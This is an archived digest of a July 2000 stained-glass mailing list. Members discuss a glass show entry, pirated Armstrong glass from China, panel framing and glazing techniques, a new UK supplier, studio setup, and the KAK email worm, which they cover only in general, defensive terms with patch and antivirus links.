To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Entry form now online
Date: Tue, 11 Jul 00 20:56:48 
Message-ID: <200007120259.UAA03716@mantis.privatei.com>
Precedence: bulk

There seems to be some confusion as to why I posted the entry form to the Glass at the 
Gardens Show on Bungi. This show is open to ANYONE who wants to deliver their 
piece, in person, for submission to the show. I included the URL of the page with all the 
show info on it so interested parties could look. This show is held every year, and if you 
can't do it this year, you can always try for next. Since very few of you live in Denver or 
the outlying areas I would be glad to accept shipment of your item for inclusion in the 
show. All you have to do is ask.

Acceptance alone, into a show like this, will look great on a glass artist's resume. And 
imagine if you actually won a prize!! (we have some darn good ones.. no cash, but how 
does a crate of glass sound? Or a gift certificate for same?)

Candy


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From owner-glass Tue Jul 11 22:46:10 2000
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From: "Sarah" <arasai@bright.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: USA
Date: Wed, 12 Jul 2000 00:16:29 -0400
Message-ID: <1970Jan1.000.0>
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Hi All,
    I was glad but not surprised to read the letter from the President of
Armstrong Glass. I work in the plastics industry, and we have the same
problem of Chinese piracy of our virgin materials. We need to all be careful
that we are only buying the real Armstrong glass, and we need to be very
vocal with the suppliers that carry pirated glass! Let's band together and
help our American companies!
My two cents,
Sarah

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From owner-glass Wed Jul 12 01:47:40 2000
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From: "Jones B.S." <b.s.jones@bham.ac.uk>
To: "'glass@bungi.com'" <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: frames for hanging of panels
Date: Wed, 12 Jul 2000 08:51:04 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk



>-----Original Message-----
>From: Steve Richard [mailto:s.richard@verrier-scotland.demon.co.uk]
>Sent: Tuesday, July 11, 2000 8:09 PM
>To: Linda Jo Letscher
>Subject: frames for hanging of panels
>older for joining to lead or zinc.  Why work with zinc, when a
>perfectly good support can be made by running wire or chain all the way
>round the panel?  

>I await your disagreements.
:_)

>Steve

I agree as I do the same..the only difference is that I use outside came on
the edges with the wire underneath that soldered in.A wood frame has to be
at least three quarters of an inch wide to have the strength. Unless the
corner joints are pinned with wrinkle strip they can separate at a later
date.

Brandon (UK)


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From owner-glass Wed Jul 12 02:04:15 2000
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From: "studio@stainedglass.co.uk" <studio@stainedglass.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Rondelles
Date: Wed, 12 Jul 2000 09:26:16 +0100
Message-ID: <1970Jan1.000.0>
Precedence: bulk

At 20:16 11/07/00 +0100, Steve wrote:
>As I understand it, the rough side traditionally is always placed to the
>inside of the window. 

We treat the "problem" completely the other way round!
In our part of the world - Bournemouth, south coast of England - it is
traditional to have the rough side on the outside, thus allowing wind/rain
etc to blow/wash away any accumulations of dirt!!
Aesthetically (sp?) we prefer the look from outside when the sun lights on
the irregularity of texture on the outside of the panel even when no light
is showing behind the window.  And from the inside it looks the same
whichever way round you have installed it, as light passes through whatever
texture it has.
So if it is internal we suggest the client has it installed so the textured
side is where it gets more reflected light than transmitted so the effect
remains similar.

Regards
Elizabeth in Bournemouth
http://www.stainedglass.co.uk




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From owner-glass Wed Jul 12 04:18:59 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: kak worm???
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Wed, 12 Jul 2000 05:39:47 +0000
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Precedence: bulk


> Just did a "KAK" search on my main "c" drive and came up with
> NOTHING! 
> means OK?

Howard,

Microsoft says,

A virus, known as the WScript/kak.worm virus, is circulating on the
                        Internet. There is a great deal of hype
                        surrounding it, because it exploits a security
                        vulnerability in IE. However, a patch to
                        eliminate the vulnerability has been available
                        since August 1999, and all major virus
                        scanners will detect and remove the virus. The
                        current variants of the virus only propagate
                        -- they do not carry a destructive payload."

More information on the vulnerability, including information on where 
to obtain the patch, is available at
http://www.microsoft.com/technet/security/bulletin/ms99-032.asp

HTH,

Albert
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From owner-glass Wed Jul 12 06:51:17 2000
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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: rrk <ezbongo2@pacbell.net>, Bungi Glass <glass@bungi.com>,
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Mosaics & Suncatchers
Date: Wed, 12 Jul 2000 09:14:48 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studios
Precedence: bulk

I was just wondering if that Chinese glass is the source of Houston's new Geko
brand glass?  They have recently changed their name (somewhat) and are offering
their own line of glass, and of tools, etc.  Their advertising of the glass
stresses affordability.

(I'd remove all of rrk's post except for the bit about seeing the Armstrong Glass
from China - which we now know from an Armstrong representative is a knock-off -
pirated name down to the item numbers, but I'm afraid to because I suspect this
message would then become one of the blank ones.) - Cec

rrk wrote:

> "Peggy W. Johnsen" wrote:
>
> > Hi Everyone:  Just wondering how widespread the Mosaics & Suncatchers from
> > Mexico are.  I had a stained glass class that just completed a mosaic
> > garden stone and most were discussing how much they would charge to make
> > them for others.  In the meantime while browsing Orchard Hardware there
> > was a display of mosaid stones and suncatchers that were really quite
> > nice, good glass, good solder lines, etc.  But the 14 inch rounds were
> > priced at $29.99.  Somewhat discouraging to say the least.  Peggy
>
> Hi Peggy,
>
> If you want to compete with low price imports, you'll have to do so on the
> basis of something other than price.
>
> Howard offers high quality products unavailable from other sources and can
> therefore compete.  This is a limited market since not many people can afford
> $1,000 to $3,000 USD for a relatively small lamp no matter how much they like
> it, but he manages it appears.
>
> Sell yourself ... your charm and good looks. <G>
>
> Sell Art with a capital A.
>
> Sell Craftsmanship (art with a little a).
>
> Sell "feel good" works.
>
> Do something sexy ... make your product more appealing that is.
>
> But do not try to sell on the basis of price alone, you'll lose.
>
> Its awful hard to compete with the products from a country like China.  Just
> be glad that with your concrete stepping stones you only have to compete with
> Mexican workers (due to the high cost of shipping things made of concrete
> across the Pacific ocean) who earn more than the Chinese though substantially
> less than we do.
>
> FYI : a *skilled* workman in China earns about $40 USD per month, considering
> that represents about 50 hrs/week ... that is approximately $0.20 USD per
> hour.  An unskilled workman earns about half that, or around $0.10 USD per
> hour.  This is why production of labor intensive items (like stained glass)
> are being moved to such countries whenever possible.
>
> When I was last in Houston (January 2000) I visited the Houston Stained Glass
> Supply, which is basically a huge warehouse and very close (a couple of miles)
> to my folks home.  They had a minimum of 2,000 crates of glass on display (I
> counted <G>) from every major sg maker.  While I was there, several large
> shipping containers were being unloaded ... approximately 50 crates of stained
> glass.  The crates were from China.  I didn't have time to wait.  But the
> first crates out of the container were Armstrong Glass.  Clearly marked on the
> outside was MADE IN CHINA.  I presume that most other stained glass mfgs are
> doing the same or contemplating it.
>
> If the above makes you unhappy, then don't buy inexpensive products from those
> countries ... and ... remember who it was that pushed NAFTA (North American
> Free Trade Agreement) ... and more recently the trade agreements concerning
> China ... when it comes time to vote next November.
>
> Me and mine are going to the stadium of the local junior college tonight where
> we'll sing the Songs of America along with several thousand others ...
> followed by a modest fireworks display.  Having lived abroad for a long time,
> I appreciate the opportunity to be able to do this.
>
> Happy 4th of July to all.
>
> Regards ........... Bob K.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Wed Jul 12 07:19:02 2000
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X-Path: juno.com!nbg3755
From: Nancy B Gildersleeve <nbg3755@juno.com>
To: glasschat@egroups.com
Content-Type: text/plain
Subject: fusing glass to clay
Date: Wed, 12 Jul 2000 08:18:01 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hello all warm glass people--My potter friend has a book printed in the
sixties which describes making a small flat clay "lattice", sort of a
tiny four windowed frame.  Glass frit is poured into the openings and the
whole thing is fired.  The book describes painting the clay edges that
will touch the glass with something the author calls "glass stain".  It
seems to be a low melting glaze of some sort.

Anyhow, my friend wants to try this technique and wonders what to use on
the clay so that the fused glass will bond to it.  Any ideas?

Thanks,

Nancy G
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From owner-glass Wed Jul 12 07:50:54 2000
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	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Is bungi.com censored?
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Wed, 12 Jul 2000 10:17:41 +0000
Message-ID: <200007121414.KAA06420@alpha.nad.adelphia.net>
Precedence: bulk


> (I'd remove all of rrk's post except for the bit about seeing the
> Armstrong Glass from China - which we now know from an Armstrong
> representative is a knock-off - pirated name down to the item
> numbers, but I'm afraid to because I suspect this message would then
> become one of the blank ones.) - Cec


I honestly don't think posts like RRK's are deleted by this group's 
manager. Take a look at http://www.bungi.com/glass/digest-current and 
you'll find that it's there, no problem, as are the responses to it, 
including Michael Larson's from Armstrong Glass Company.

Albert
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From owner-glass Wed Jul 12 08:33:52 2000
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X-Path: bright.net!arasai
From: "Sarah" <arasai@bright.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: kak worm
Date: Wed, 12 Jul 2000 00:37:20 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi Geneva,
     I certainly hope that you didn't pick this little bugger up, but to be
sure, you can go to
http://www.antivirus.com/vinfo/virusencyclo/default5.asp?Vname=VBS_KAKWORM.A
    It is very important to NOT reboot or re-log your computer if you have
this virus.
Sarah

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From owner-glass Wed Jul 12 08:57:02 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: RE: kak worm
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Wed, 12 Jul 2000 11:41:19 +0000
Message-ID: <200007121538.LAA09809@alpha.nad.adelphia.net>
Precedence: bulk


>     It is very important to NOT reboot or re-log your computer if
>     you have this virus.


Well, nobody wants a virus on their computer, even one like KAK, 
which is apparently fairly benign. At 5 p.m. on the 1st of the month, 
it'd show a message then try to close Windows. It doesn't corrupt 
files or delete them, which'd be worse. <grin>

Albert
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From owner-glass Wed Jul 12 10:00:59 2000
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	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: stratus.com!Charlie_Spitzer
From: "Spitzer, Charlie" <Charlie_Spitzer@stratus.com>
To: glass@bungi.com
Content-Type: text/plain;
Subject: RE: square
Date: Wed, 12 Jul 2000 09:34:25 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

well, if you don't make the panel so it follows the curve of the bottom,
over time the panel will sag to meet the bottom sill anyway.

regards,
charlie
phx, az

> -----Original Message-----
> From: Lorley Oneyear [mailto:lorley@home.com]
> Sent: Tuesday, July 11, 2000 6:01 PM
> To: glass@bungi.com
> Subject: square
> 
> 
> Hello, I'm planning on doing a floral panel for a window in one of my 
> bathrooms. It's high above the tub and approx 10 high and 46" 
> wide. I made 
> a cardboard template of the opening and discovered that the 
> opening sags a 
> bit in the middle area of the window. Should I make my window 
> a bit smaller 
> so it is square? Or if I make it a bit smaller in the middle 
> will my zinc 
> frame be able to "bend" just a bit? (maybe 1/4" difference)
----
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From owner-glass Wed Jul 12 10:16:43 2000
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	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: cecnralph@home.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Mosaics & Suncatchers
Date: Wed, 12 Jul 2000 09:28:51 -0700
Message-ID: <1970Jan1.000.0>
References: <<396C6F44.E360FB27@home.com>>
Precedence: bulk



Cecily and Ralph Wood wrote:

> I was just wondering if that Chinese glass is the source of Houston's new Geko
> brand glass?  They have recently changed their name (somewhat) and are offering
> their own line of glass, and of tools, etc.  Their advertising of the glass
> stresses affordability.

Hi Cec,

It could be only that.

I do not know the entire story here but only that which
I reported in a previous post.

As long as its labelled "MADE IN CHINA",
even if its lower quality, I have no problem with it.

Selling Chinese knockoff of Armstrong Glass
as a Chinese knockoff of Armstrong Glass ...
no problem.

Piracy, selling Chinese knockoff of Armstrong Glass
*as* Armstrong Glass ...
I have a big problem with.

Anyway ... gotta keep movin' ...

Best regards ..... Bob K.

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From owner-glass Wed Jul 12 10:18:54 2000
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X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: Albert Lewis <alewis@alpha.nad.adelphia.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Is bungi.com censored?
Date: Wed, 12 Jul 2000 09:23:59 -0700
Message-ID: <1970Jan1.000.0>
References: <<200007121414.KAA06420@alpha.nad.adelphia.net>>
Precedence: bulk



Albert Lewis wrote:

> I honestly don't think posts like RRK's are deleted by this group's
> manager. Take a look at http://www.bungi.com/glass/digest-current and
> you'll find that it's there, no problem, as are the responses to it,
> including Michael Larson's from Armstrong Glass Company.

Hi Albert and Cec,

I do not think there is any censorship of any matter of substance
on the Bungi list.

The "blank emails" are a matter of the rendering of the emails
by the email client ... or so I think.  They are essentially random
and do not involve conscious editing according to content
by Dave Rand, the manager of this list.

Best regards .... Bob

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From owner-glass Wed Jul 12 10:47:03 2000
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X-Path: pop3.nildram.co.uk!glass
From: "Toby" <toby@northlights.co.uk>
To: glass@bungi.com
Content-Type: text/plain; charset=US-ASCII
Subject: New Kid on the Block in UK (definetly S.G. topic)
Date: Wed, 12 Jul 2000 17:08:02 +0100
Message-ID: <200007121523.e6CFNsa29102@mercury.nildram.co.uk>
Precedence: bulk


Hello all,
this is directed mainly to all UK Bunginians.

About a week ago I received a circular letter about a new s.g. 
supplier in Hertfordshire. Not only that, but the circular also stated 
they were open on Sundays.

Please may I introduce James Brunswick of Lead Light Trade 
Supplies in Colney Heath (near St.Albans). I have just come back 
from his barn, which he is gradually transforming into a fully fledged 
shop. He is already up and running after having been open for a 
month.
The address is
Houseside Essex Barn
Coursers Farm
Colney Heath
St.Albans
Hertfordshire AL4 0BG
tel: 01727 828313
e-mail Leadlightts@aol.com

It's situated 1/2 mile either from Junction 22 of the M25
or
from the A1(M), Hatfield turn-off (after Galleria travelling North to 
South) off the A414. I have maps should you require one.
Coursers Farm appears to be a stud horse farm and James 
occupies the first black barn you come to inside the compound.

I liked what I saw and liked especially James' genuine attitude and 
approach.He carries German Cathedrals, Sahara to English Muffle, 
Desag, wispies, Waterglass opalescent and irridescents and will 
have more stock as soon as he knows what folks really want. He 
carries good, basic no-nonsense tools (and I saw only ONE 
grinder!!  ;->   Ah! A man to my own heart!!). There is also a 
selection of tools and supplies for the copper-foil enthusiast.

His attitude is that if he gets two requests for something , he will 
obtain it. The shop is open Wednesday, Thursday, Fridays 09 - 
17.00 hrs, Saturdays and Sundays 09 - 14.00 hrs. Mondays and 
Tuesdays he is nominally closed.

James is in the process of putting a price list together and has 
promised me a copy as soon as it is ready. Another interesting 
point is that he is planning to offer hand made lead came  from 
their own mill.

Should Bungi-people drop in to see him, let him know I told you to!
Welcome James! We know who your nearest competition is and I 
will certainly do my best to support you.

Elisabeth 'n Toby in UK
----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Wed Jul 12 12:00:48 2000
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	for rglass-42; Wed, 12 Jul 2000 11:59:05 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #321 built 2000-Jul-12)
X-Path: waterw.com!artglass
From: "pj friend" <artglass@waterw.com>
To: "Toby" <toby@northlights.co.uk>, <glass@bungi.com>
Subject: Re: New Kid on the Block in UK (definetly S.G. topic)
Date: Wed, 12 Jul 2000 14:56:34 -0400
Message-ID: <1970Jan1.000.0>
References: <<200007121523.e6CFNsa29102@mercury.nildram.co.uk>>
Precedence: bulk

Hi Toby,

Thought you might be interested in this bit of information.  The Stained
Glass Association of America is having its Summer Conference 2001 in York,
England.  With the host of Mr. Peter Gibson from York Minister.
Everyone is really excited about having the conference abroad.  And
especially in York.  It should be absolutely wonderful!

my best,
pj ( who is now saving her pennies to extend her trip to a few weeks in St.
Tropez along with York.)

Paul Friend Architectural Glass & Design, Inc.
www.waterw.com/~artglass
Accredited Studio Member of the Stained Glass Association of America
Associate Member AIA
Member International Guild of Glass Artists

----- Original Message -----
From: "Toby" <toby@northlights.co.uk>
To: <glass@bungi.com>
Sent: Wednesday, July 12, 2000 12:08 PM
Subject: New Kid on the Block in UK (definetly S.G. topic)


>
> Hello all,
> this is directed mainly to all UK Bunginians.
>
> About a week ago I received a circular letter about a new s.g.
> supplier in Hertfordshire. Not only that, but the circular also stated
> they were open on Sundays.
>
> Please may I introduce James Brunswick of Lead Light Trade
> Supplies in Colney Heath (near St.Albans). I have just come back
> from his barn, which he is gradually transforming into a fully fledged
> shop. He is already up and running after having been open for a
> month.
> The address is
> Houseside Essex Barn
> Coursers Farm
> Colney Heath
> St.Albans
> Hertfordshire AL4 0BG
> tel: 01727 828313
> e-mail Leadlightts@aol.com
>
> It's situated 1/2 mile either from Junction 22 of the M25
> or
> from the A1(M), Hatfield turn-off (after Galleria travelling North to
> South) off the A414. I have maps should you require one.
> Coursers Farm appears to be a stud horse farm and James
> occupies the first black barn you come to inside the compound.
>
> I liked what I saw and liked especially James' genuine attitude and
> approach.He carries German Cathedrals, Sahara to English Muffle,
> Desag, wispies, Waterglass opalescent and irridescents and will
> have more stock as soon as he knows what folks really want. He
> carries good, basic no-nonsense tools (and I saw only ONE
> grinder!!  ;->   Ah! A man to my own heart!!). There is also a
> selection of tools and supplies for the copper-foil enthusiast.
>
> His attitude is that if he gets two requests for something , he will
> obtain it. The shop is open Wednesday, Thursday, Fridays 09 -
> 17.00 hrs, Saturdays and Sundays 09 - 14.00 hrs. Mondays and
> Tuesdays he is nominally closed.
>
> James is in the process of putting a price list together and has
> promised me a copy as soon as it is ready. Another interesting
> point is that he is planning to offer hand made lead came  from
> their own mill.
>
> Should Bungi-people drop in to see him, let him know I told you to!
> Welcome James! We know who your nearest competition is and I
> will certainly do my best to support you.
>
> Elisabeth 'n Toby in UK
> ----
> As my grandmother said "...there is only nobility of mind"
> North Lights Stained Glass - homepage
> http://www.netlink.co.uk/users/kris/northlights/index.htm
> ----
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>


----
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From owner-glass Wed Jul 12 15:52:51 2000
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	(Smail-3.2.0.94 1997-Apr-22 #321 built 2000-Jul-12)
X-Path: ghostman.com!candy
From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Proudly Manufactured in the USA
Date: Tue, 11 Jul 00 17:51:42 
Message-ID: <200007122230.QAA06172@mantis.privatei.com>
Precedence: bulk

Very Good!! I was sure it was still made here. Fun stuff, love that Graffiti glass...

Candy

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From owner-glass Wed Jul 12 17:53:04 2000
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	(Smail-3.2.0.94 1997-Apr-22 #321 built 2000-Jul-12)
X-Path: netconnect.com.au!anniekg
From: "Annie" <anniekg@netconnect.com.au>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: NG kak check
Date: Thu, 13 Jul 2000 10:41:32 +1000
Message-ID: <1970Jan1.000.0>
References: <<200007120259.UAA03716@mantis.privatei.com>>
Precedence: bulk

Hello all,

Just wanted to check whether everyone who requested the kak cleaner from me
received it.  There were quite a few responses and I think I got everyone
but if I haven't please let me know and I'll send it on through.

Cheers
Annie

----
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From owner-glass Wed Jul 12 18:56:29 2000
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	(Smail-3.2.0.94 1997-Apr-22 #321 built 2000-Jul-12)
X-Path: mindspring.com!glassgirl
From: "cheryl zipf" <glassgirl@mindspring.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: square
Date: Wed, 12 Jul 2000 20:43:37 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0049_01BFEC41.DA720C80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

make the window sq---   use zinc----  make sm  drill holes in the outer =
edge of the zinc --- center the -SG>window in the opening silicone in =
and drive small nails through your pre drilled openings at an angle  =
since you have to build it smaller to fit the odd size opening this way =
you can center exactly..

------=_NextPart_000_0049_01BFEC41.DA720C80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>make the window sq---&nbsp;&nbsp; use=20
zinc----&nbsp; make sm&nbsp; drill holes in the outer edge of the =
zinc&nbsp;---=20
center the -SG&gt;window in the opening silicone in and drive small =
nails=20
through your pre drilled openings at an angle&nbsp; since you have to =
build it=20
smaller to fit the odd size opening this way you can center=20
exactly..</FONT></DIV></BODY></HTML>

------=_NextPart_000_0049_01BFEC41.DA720C80--

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From owner-glass Wed Jul 12 19:56:45 2000
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	(Smail-3.2.0.94 1997-Apr-22 #321 built 2000-Jul-12)
X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: [Fwd: Mosaics & Suncatchers]
Date: Wed, 12 Jul 2000 22:33:48 -0400
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studios
Precedence: bulk

Since Dave and Linda didn't post this to the group, I thought I'd forward it. -
Cec

Dave & Lynn Loda wrote:

> The new line of glass is from China.
>
> Dave & Lynn Loda
> http://www.stained-glass-supplies.com
> Quality Stained Glass Supplies at LOW prices
>
> -----Original Message-----
> From: Cecily and Ralph Wood [mailto:cecnralph@home.com]
> Sent: Wednesday, July 12, 2000 6:15 AM
> To: rrk; Bungi Glass
> Subject: Re: Mosaics & Suncatchers
>
> I was just wondering if that Chinese glass is the source of Houston's new
> Geko
> brand glass?  They have recently changed their name (somewhat) and are
> offering
> their own line of glass, and of tools, etc.  Their advertising of the glass
> stresses affordability.
>
> (I'd remove all of rrk's post except for the bit about seeing the Armstrong
> Glass
> from China - which we now know from an Armstrong representative is a
> knock-off -
> pirated name down to the item numbers, but I'm afraid to because I suspect
> this
> message would then become one of the blank ones.) - Cec
>
> rrk wrote:
>
> > "Peggy W. Johnsen" wrote:
> >
> > > Hi Everyone:  Just wondering how widespread the Mosaics & Suncatchers
> from
> > > Mexico are.  I had a stained glass class that just completed a mosaic
> > > garden stone and most were discussing how much they would charge to make
> > > them for others.  In the meantime while browsing Orchard Hardware there
> > > was a display of mosaid stones and suncatchers that were really quite
> > > nice, good glass, good solder lines, etc.  But the 14 inch rounds were
> > > priced at $29.99.  Somewhat discouraging to say the least.  Peggy
> >
> > Hi Peggy,
> >
> > If you want to compete with low price imports, you'll have to do so on the
> > basis of something other than price.
> >
> > Howard offers high quality products unavailable from other sources and can
> > therefore compete.  This is a limited market since not many people can
> afford
> > $1,000 to $3,000 USD for a relatively small lamp no matter how much they
> like
> > it, but he manages it appears.
> >
> > Sell yourself ... your charm and good looks. <G>
> >
> > Sell Art with a capital A.
> >
> > Sell Craftsmanship (art with a little a).
> >
> > Sell "feel good" works.
> >
> > Do something sexy ... make your product more appealing that is.
> >
> > But do not try to sell on the basis of price alone, you'll lose.
> >
> > Its awful hard to compete with the products from a country like China.
> Just
> > be glad that with your concrete stepping stones you only have to compete
> with
> > Mexican workers (due to the high cost of shipping things made of concrete
> > across the Pacific ocean) who earn more than the Chinese though
> substantially
> > less than we do.
> >
> > FYI : a *skilled* workman in China earns about $40 USD per month,
> considering
> > that represents about 50 hrs/week ... that is approximately $0.20 USD per
> > hour.  An unskilled workman earns about half that, or around $0.10 USD per
> > hour.  This is why production of labor intensive items (like stained
> glass)
> > are being moved to such countries whenever possible.
> >
> > When I was last in Houston (January 2000) I visited the Houston Stained
> Glass
> > Supply, which is basically a huge warehouse and very close (a couple of
> miles)
> > to my folks home.  They had a minimum of 2,000 crates of glass on display
> (I
> > counted <G>) from every major sg maker.  While I was there, several large
> > shipping containers were being unloaded ... approximately 50 crates of
> stained
> > glass.  The crates were from China.  I didn't have time to wait.  But the
> > first crates out of the container were Armstrong Glass.  Clearly marked on
> the
> > outside was MADE IN CHINA.  I presume that most other stained glass mfgs
> are
> > doing the same or contemplating it.
> >
> > If the above makes you unhappy, then don't buy inexpensive products from
> those
> > countries ... and ... remember who it was that pushed NAFTA (North
> American
> > Free Trade Agreement) ... and more recently the trade agreements
> concerning
> > China ... when it comes time to vote next November.
> >
> > Me and mine are going to the stadium of the local junior college tonight
> where
> > we'll sing the Songs of America along with several thousand others ...
> > followed by a modest fireworks display.  Having lived abroad for a long
> time,
> > I appreciate the opportunity to be able to do this.
> >
> > Happy 4th of July to all.
> >
> > Regards ........... Bob K.
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Wed Jul 12 20:00:21 2000
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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: elere@clientes.euskaltel.es, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=iso-8859-1; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: washing Sg ( was workshop guide)
Date: Wed, 12 Jul 2000 22:22:45 -0400
Message-ID: <1970Jan1.000.0>
References: <<396CED3D.CE70FA86@clientes.euskaltel.es>>
Organization: Grendel Studios
Precedence: bulk

One of the annoying things in storing glass is that it doesn't want to slide in and
out of the slots very easily.  I wonder what kind of material could be used as the
base?  Have to be something that doesn't cut.  Maybe the laminated stuff you put on
counters?  Wonder if there is some kind of teflon coated semi-hard surface?  Sort of
like the teflon coated dividers you sometimes find in public restrooms?  Or maybe a
plastic of some kind?

"Elena Rod4ríguez Echebarria" wrote:

> Hello again
> ANd thanks for the book info and tip, I had thought of using a small bath (we get
> here bath tubs you can only sit in), as some friends have in their work shop, or
> even baby bath tub (plastic I thought would be best) at a handy height, but the
> shower plate sounds even better;  I'll find out if I can get it in pvc or some
> other no-hard material. My next quest is for a good system to store whole sheets of
> glass, I guess  thick wood posts separating compartiments, with some wood palets
> topped with carton/wood lining on the floor might do. I hope to get a plan of the
> shop soon and be able to show you. If you think this might be posted to the group,
> let me know or post directly, as there has been some talk about this recently. I
> don't mind myself. I appreciate very much all the ideas and help I get from bungi.
> Thanks once again and  have a nice day.
> Best regards
> Elena
>
> Cecily and Ralph Wood escribió:
>
> > It's me again - one of the neatest ideas I've seen is that one workshop
> > installed a shower base rather than a laundry tub for washing projects.  They
> > installed it at normal working height, but since it is what plumbers put under
> > showers, it is square and about 3 or 4 feet on a side, and shallow.  Would make
> > a really nice place to wash down glass projects, especially larger works.  I've
> > also seen white laminate used as counter tops, which certainly would be nice.
> > However, the two really professional shops just built their work tables of
> > untreated raw wood, and just sanded the rough spots off.  One place really does
> > almost exclusively came, not foil, and one table is reserved for cementing.
> > What they have done under their tables is shallow shelves the same size as the
> > table top, on which to store projects not yet completed.  Good luck! - Cec
> >
> > "Elena Rod4ríguez Echebarria" wrote:
> >
> > > Hello Cecily and Ralph
> > > And thank you for the information,; I am looking for something  about setting
> > > up a professional studio, but I'll check out this one all the same, any hints
> > > are wellcome. I am preparing a report which will be used to judge whether my
> > > project for a professional SG workshop would be feasible ( to get a subsidy)
> > > and that's what I want the book for. If you can think of anything helpful in
> > > that direction, please let me know.
> > > Best regards
> > > Elena
> > >
> > > Cecily and Ralph Wood escribió:
> > >
> > > > "Your Stained Glass Workshop" by Gene Mayo.  The ISBM is 0-936459-34-4.
> > > > The glass online bookstore has it.  Or just do a search online for it.  It
> > > > is just a little booklet and doesn't cost a lot. - Cec
> > > >
> > > > "Elena Rod4ríguez Echebarria" wrote:
> > > >
> > > > > HELLO GROUP
> > > > > A while ago someone mentioned a book or guide to set up a stained glass
> > > > > workshop, Can anyone tell me the title and where to get it? Thanks in
> > > > > advance.
> > > > > Elena
> > > > >
> > > > > ----
> > > > > For subscription changes, please mail to: glass-request@bungi.com
> > > > > To send to the list,      please mail to: glass@bungi.com
> > > > > Archives available at http://www.bungi.com/glass
> > > >
> > > > --
> > > > *********************************************************************
> > > > *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> > > > *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> > > > *********************************************************************
> >
> > --
> > *********************************************************************
> > *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> > *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> > *********************************************************************

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
